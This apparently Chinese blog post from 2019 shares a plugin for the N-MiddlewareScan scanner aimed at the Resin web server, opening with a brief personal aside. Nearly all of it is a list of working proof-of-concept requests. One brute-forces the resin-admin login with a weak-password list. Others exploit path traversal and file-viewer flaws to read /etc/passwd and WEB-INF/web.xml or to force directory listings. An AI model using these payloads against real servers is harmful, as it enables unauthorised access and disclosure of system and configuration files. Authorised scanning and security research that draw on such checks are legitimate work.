web中间件相关漏洞扫描脚本N-MiddlewareScan插件resin编写

出去耍游戏,连输三把,马原还被抓,不知道几次了。。。

resin百度百科:https://baike.baidu.com/item/resin/8920052?fr=aladdin

爆破和目录遍历两种(暂时用的几年前的poc,新的抽时间去找,expoilt上最新的是13年,cve上是19年的,第二个是14年,暂时就这些)

cve:http:/xxx

exploit:http://xxx

#coding=utf-8
pocs=[
{"requests_option":"POST",
"url":["/resin-admin/j_security_check?j_uri=index.php"],
"params":[],
"data":["j_username=%s&j_password=%s"],
"flag":['<th>Resin home:</th>','The Resin version','Resin Summary'],
"success":"exist /resin-admin/j_security_check?j_uri=index.php weak password",
"fail":"NOT exist /resin-admin/j_security_check?j_uri=index.php weak password",
"end":"/resin-admin/j_security_check?j_uri=index.php扫描完成",
"admin_bursk":"True",
"username":['admin'],
"password":['admin','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root'],
},
{"requests_option":"GET",
"url":["/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"],
"params":[],
"data":[],
"flag":["root:"],
"success":"exist /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd",
"fail":"not exist /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd",
"end":"/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd扫描完成",
"admin_bursk":"",
"username":[],
"password":[],
},
{"requests_option":"GET",
"url":["/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml"],
"params":[],
"data":[],
"flag":["xml version"],
"success":"",
"fail":"",
"end":"/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml",
"admin_bursk":"",
"username":[],
"password":[],
},
{"requests_option":"GET",
"url":["/%20..\\web-inf"],
"params":[],
"data":[],
"flag":["<h1>Directory of"],
"success":"",
"fail":"",
"end":"/%20..\\web-inf",
"admin_bursk":"",
"username":[],
"password":[],
},
{"requests_option":"GET",
"url":["/%3f.jsp"],
"params":[],
"data":[],
"flag":["<h1>Directory of"],
"success":"",
"fail":"",
"end":"/%3f.jsp",
"admin_bursk":"",
"username":[],
"password":[],
},
{"requests_option":"GET",
"url":["/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"],
"params":[],
"data":[],
"flag":["root:"],
"success":"",
"fail":"",
"end":"/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd",
"admin_bursk":"",
"username":[],
"password":[],
},
]

2019.3.28

发表评论

电子邮件地址不会被公开。 必填项已用*标注